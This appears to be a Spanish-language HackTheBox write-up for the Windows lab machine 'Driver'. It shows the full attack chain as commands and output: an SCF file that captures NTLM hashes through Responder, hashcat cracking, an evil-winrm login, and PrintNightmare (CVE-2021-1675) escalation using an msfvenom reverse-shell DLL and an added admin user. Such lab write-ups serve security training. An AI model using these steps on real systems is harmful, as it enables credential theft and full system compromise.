Driver es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Driver 10.10.11.106 a /etc/hosts como driver.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
# Nmap 7.92 scan initiated Sun Dec 26 10:09:14 2021 as: nmap -A -p- -sV -sC -oA enumeration/nmap 10.10.11.106 Nmap scan report for driver.htb (10.10.11.106) Host is up (0.049s latency). Not shown: 65531 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=MFP Firmware Update Center. Please enter password for admin |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb2-time: | date: 2021-12-26T16:16:45 |_ start_date: 2021-12-26T16:10:46 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: 7h05m36s, deviation: 0s, median: 7h05m35s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Dec 26 10:11:47 2021 -- 1 IP address (1 host up) scanned in 152.75 seconds |
Una vez escaneados los puertos vamos a verificar cada servicio.
Enumeracion
En primer lugar verificamos el portal web en el puerto 80, la cual nos pide unas credenciales. En el anterior escaneo vimos que indicaba el nombre de usuario admin así que probamos con la password admin y entramos al portal web visualizando la siguiente ventana:
Se trata de una web de gestión de la impresora, navegamos un poco por la misma pero la única página que cambia es la destinada a la actualización del firmware de la impresora:
Por aqui no encontramos nada más, tratamos de enumerar directorios, ficheros, subdominios, vhosts… pero sin éxito. Revisamos también el smb pero parece que tampoco es el punto de acceso:
1 2 |
$ smbclient -L ////10.10.11.106// -U admin session setup failed: NT_STATUS_LOGON_FAILURE |
Después de un rato dando vueltas y revisar posibilidades, encontramos una posible forma de continuar y es a través del ataque de ficheros SCF (Shell Command Files) así que vamos a probarlo.
Generamos en primer lugar nuestro fichero scf con el siguiente contenido:
1 2 3 4 5 |
[Shell] Command=2 IconFile=\\10.10.14.4\share\icon.ico [Taskbar] Command=ToggleDesktop |
Con el fichero generado lanzaremos responder para tratar de capturar datos de los usuarios
1 |
$ sudo responder -wrf --lm -v -I iface |
Y una vez puesta la escucha subimos el fichero a través del formulario de subida de firmware y obtenemos la respuesta en nuestra escucha
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
$ sudo responder -wrf --lm -v -I tun0 [sudo] password for asdf: __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.0.0.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [ON] Fingerprint hosts [ON] [+] Generic Options: Responder NIC [tun0] Responder IP [10.10.14.4] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... [SMB] NTLMv2 Client : 10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:5bfa5403b4a33b3d:E27ED37421E51F60C09ADFAC4BDFA4AD:01010000000000005051C7C37AFAD701C47885E79A464CF10000000002000400270027000000000000000000 [SMB] NTLMv2 Client : 10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:01b4ee2768a7f1d1:58CCD7331D954C56B145038CDDED58E5:0101000000000000791BEBC37AFAD701F5B7E879C7DE161F0000000002000400270027000000000000000000 [SMB] NTLMv2 Client : 10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:b4ae6294ef44967a:0435572DE08792E55BEB506A14ADECB5:0101000000000000B6B707C47AFAD701A581E06796ABF5ED0000000002000400270027000000000000000000 [SMB] NTLMv2 Client : 10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:0230b742f68bcfeb:F1F898937C0A61F18B2FB19F5FFAAF24:010100000000000083B026C47AFAD701F8B210DAD946DCF00000000002000400270027000000000000000000 [SMB] NTLMv2 Client : 10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:6379cfda94225e43:D5DE3D8A0DC21DDC8F6C4C8FEB34CE06:0101000000000000D54B43C47AFAD7010825A5823B246F740000000002000400270027000000000000000000 [SMB] NTLMv2 Client : 10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:4cf70f6839013f86:1181B1F0846C0D23C1A4A88A90FF5064:0101000000000000794A62C47AFAD701A132758B3D87A8CB0000000002000400270027000000000000000000 [SMB] NTLMv2 Client : 10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:1a5d8fd56b2ade57:F6381657283B3EDA2EC6ACC6044D8233:01010000000000006EAB83C47AFAD701733AA743EF56A5C50000000002000400270027000000000000000000 |
Y conseguimos el hash del usuario tony, el cual vamos a tratar de romper con hashcat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ hashcat -m 5600 tony-hashes /usr/share/wordlists/rockyou.txt --force hashcat (v6.1.1) starting... .... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 TONY::DRIVER:5bfa5403b4a33b3d:e27ed37421e51f60c09adfac4bdfa4ad:01010000000000005051c7c37afad701c47885e79a464cf10000000002000400270027000000000000000000:xxxxxx Session..........: hashcat Status...........: Cracked Hash.Name........: NetNTLMv2 Hash.Target......: TONY::DRIVER:5bfa5403b4a33b3d:e27ed37421e51f60c09ad...000000 Time.Started.....: Sun Dec 26 11:05:11 2021, (1 sec) Time.Estimated...: Sun Dec 26 11:05:12 2021, (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 320.3 kH/s (1.21ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 32768/14344385 (0.23%) Rejected.........: 0/32768 (0.00%) Restore.Point....: 30720/14344385 (0.21%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: !!!!!! -> eatme1 |
Con la clave obtenida, accedemos a través de evil-winrm y las credenciales
1 2 3 4 5 6 7 |
$ ruby /home/asdf/github/evil-winrm/evil-winrm.rb -i driver.htb -u tony -p 'liltony' -P 5985 Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\tony\Documents> |
Obteniendo la flag de user
Y ahora que estamos dentro, vamos al escritorio del usuario y obtenemos la flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
*Evil-WinRM* PS C:\Users\tony\Documents> cd .. cd *Evil-WinRM* PS C:\Users\tony> cd Desktop *Evil-WinRM* PS C:\Users\tony\Desktop> ls Directory: C:\Users\tony\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 12/26/2021 8:11 AM 34 user.txt *Evil-WinRM* PS C:\Users\tony\Desktop> cat user.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxe *Evil-WinRM* PS C:\Users\tony\Desktop> |
Escalado de privilegios
Ahora que ya tenemos la primera flag vamos a buscar formas de elevar permisos.
Probamos en primer lugar a revisar el contenido del portal web a ver si nos da alguna información
1 2 3 4 5 6 7 8 9 10 11 |
*Evil-WinRM* PS C:\inetpub\wwwroot> ls Directory: C:\inetpub\wwwroot Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/7/2021 11:29 PM images -a---- 9/8/2021 5:06 AM 6136 fw_up.php -a---- 9/8/2021 4:51 AM 4906 index.php |
Aunque parece ser que aqui no hay nada importante, así que enumeramos el sistema y encontramos un proceso interesante
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
*Evil-WinRM* PS C:\inetpub\wwwroot\images> ps Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName ------- ------ ----- ----- ----- ------ -- ----------- 40 4 1832 1400 ...67 1.64 1816 cmd 113 10 10432 6748 ...45 3.16 2540 conhost 315 14 1164 4200 ...04 344 csrss 260 18 1212 4120 ...08 456 csrss 202 13 3388 12060 ...02 2224 dllhost 332 27 30080 48576 ...97 796 dwm 539 34 9980 35132 ...45 0.20 2392 explorer 1394 59 16276 61184 ...67 22.41 3108 explorer 505 27 8556 30740 ...32 0.23 3828 explorer 508 27 8708 30692 ...32 0.25 4108 explorer 0 0 0 4 0 0 Idle 978 23 4952 14856 ...01 572 lsass 173 13 2364 8796 ...95 2448 msdtc 471 38 14936 43064 299 2.56 4908 OneDrive 114 14 6288 12912 ...82 916 php-cgi 55 6 720 3316 ...65 0.00 4956 PING 293 18 6632 23376 ...80 1.00 3168 RuntimeBroker 686 47 23644 28448 ...40 2712 SearchIndexer 746 47 30228 71260 33077 0.83 3584 SearchUI 181 12 2704 10516 ...02 4452 sedsvc 245 10 2584 6348 ...74 564 services 589 29 13604 46352 243 0.64 3472 ShellExperienceHost 344 15 3456 17744 ...47 1.27 3036 sihost 49 3 340 1172 ...56 268 smss 388 22 5420 14676 ...13 1120 spoolsv 536 20 4976 16964 ...16 652 svchost 517 17 3344 8864 ...90 704 svchost 1304 53 15312 37080 ...18 812 svchost 573 26 11036 18060 ...37 864 svchost 172 12 2060 12292 ...26 0.00 872 svchost 211 16 1928 8304 ...95 884 svchost 424 21 4768 17672 ...46 948 svchost 772 27 6172 14256 ...39 988 svchost 663 47 8736 21464 ...29 1052 svchost 490 41 13256 23236 ...61 1324 svchost 126 11 3056 9288 ...97 1476 svchost 289 19 5184 19124 ...12 1484 svchost 188 15 3612 15400 ...57 1624 svchost 189 15 3428 9920 ...04 1716 svchost 99 7 1112 5912 ...87 2560 svchost 116 9 1240 6136 ...77 2900 svchost 879 0 124 140 3 4 System 273 28 4456 13576 ...16 0.34 2096 taskhostw 138 11 2688 10416 ...22 1680 VGAuthService 108 7 1324 5516 ...06 1648 vm3dservice 100 8 1380 6024 ...28 2032 vm3dservice 332 23 8908 20992 ...52 1640 vmtoolsd 211 18 4920 15096 ...67 1.66 4868 vmtoolsd 219 24 4680 12612 ...12 4620 w3wp 85 8 832 4684 ...73 448 wininit 181 9 1832 8752 ...22 500 winlogon 322 19 8688 18644 ...96 2380 WmiPrvSE 1562 30 85840 107556 ...70 10.11 680 wsmprovhost 1286 31 75736 95348 ...67 1.47 5080 wsmprovhost 220 10 1552 7140 ...92 668 WUDFHost |
Hace unos meses salió la vulnerabilidad de nightmare en los driver de impresión de windows y casualmente vemos el proceso utilizado por windows para las colas de impresión
1 |
388 22 5420 14676 ...13 1120 spoolsv |
Y hasta aquí, en nuestro caso, hemos probado de dos formas el escalado, debido a que la primera no nos daba un acceso persistente sino que provocaba que se tuviese que ejecutar el exploit cada vez.
Escalado a través de Impacket
En este caso utilizaremos el exploit de la vuln CVE-2021-1675 del usuario cube0x0 de github
En primer lugar verificamos que el servidor es vulnerable a la misma
1 2 3 |
$ rpcdump.py @10.10.11.106 | egrep 'MS-RPRN|MS-PAR' Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol Protocol: [MS-RPRN]: Print System Remote Protocol |
Y efectivamente lo es, así que vamos a generar nuestro dll malicioso con msfvenom
1 |
$ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o dll.dll |
Posteriormente levantaremos nuestro servidor smb con impacket apuntando a la carpeta donde se encuentre nuestro payload
1 2 3 4 5 6 7 8 9 |
$ sudo smbserver.py smb ../payloads/ Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed |
Y lanzaremos el exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ sudo python3 CVE-2021-1675.py tony:liltony@10.10.11.106 '\\10.10.14.4\smb\malicious.dll' [*] Connecting to ncacn_np:10.10.11.106[\PIPE\spoolss] ^C[-] Connection Failed asdf@kali:~/github/CVE-2021-1675$ sudo python3 CVE-2021-1675.py driver.htb/tony:liltony@10.10.11.106 '\\10.10.14.4\smb\malicious.dll' [*] Connecting to ncacn_np:10.10.11.106[\PIPE\spoolss] [+] Bind OK [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\UNIDRV.DLL [*] Executing \??\UNC\10.10.14.4\smb\malicious.dll [*] Try 1... [*] Stage0: 0 [*] Try 2... [*] Stage0: 0 [*] Try 3... |
Una vez lanzado el exploit, este descargará el dll malicioso como vemos en nuestro smb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ sudo smbserver.py smb /home/asdf/current/payloads/ Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (10.10.11.106,49450) [*] AUTHENTICATE_MESSAGE (\,DRIVER) [*] User DRIVER\ authenticated successfully [*] :::00::aaaaaaaaaaaaaaaa [*] Disconnecting Share(1:IPC$) |
Ejecutará el mismo y automáticamente obtenedremos una shell como system en nuestra escucha
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from driver.htb [10.10.11.106] 49451 Microsoft Windows [Version 10.0.10240] (c) 2015 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system |
Escalado con powershell
Esta segunda opción utiliza la misma vulnerabilidad CVE-2021-1675, pero el exploit es el realizado por el usuario calebstewart de github
En este caso hay que descargar un exploit en ps1 y subirlo a la máquina y, posteriormente, realizar una serie de pasos en la misma.
Añadiremos la policy de ejecución
1 |
*Evil-WinRM* PS C:\Users\tony\Documents> set-ExecutionPolicy RemoteSigned -Scope CurrentUser |
Importamos el exploit como un módulo de powershell
1 |
*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module .\CVE-2021-1675.ps1 |
Y ejecutamos el exploit de Nightmare para crear nuestro usuario con permisos de administrador
1 2 3 4 5 |
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -DriverName "PrintMe" -NewUser "bytemind" -NewPassword "bytemind" [+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll [+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll" [+] added user bytemind as local administrator [+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll |
Parece que se ha ejecutado con éxito, así que revisamos los usuarios administradores en el sistema y verificamos que el nuestro tiene permisos de admin
1 2 3 4 5 6 7 8 9 10 |
*Evil-WinRM* PS C:\Users\tony\Documents> net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator bytemind The command completed successfully. |
Y sólo nos queda loguearnos en la máquina con el mismo
1 2 3 4 5 6 7 |
$ ruby /home/asdf/github/evil-winrm/evil-winrm.rb -i driver.htb -u bytemind -p 'bytemind' -P 5985 Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\bytemind\Documents> |
Obteniendo la flag de root
Ahora que ya estamos dentro, sea de una forma u otra, vamos al escritorio del usuario administrator para recoger nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
*Evil-WinRM* PS C:\Users\bytemind\Documents> cd .. cd *Evil-WinRM* PS C:\Users\bytemind> cd .. *Evil-WinRM* PS C:\Users> cd administrator *Evil-WinRM* PS C:\Users\administrator> cd desktop *Evil-WinRM* PS C:\Users\administrator\desktop> ls Directory: C:\Users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 12/26/2021 12:29 PM 34 root.txt *Evil-WinRM* PS C:\Users\administrator\desktop> type root.txt 2xxxxxxxxxxxxxxxxxxxxxxxxxxxxx5 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace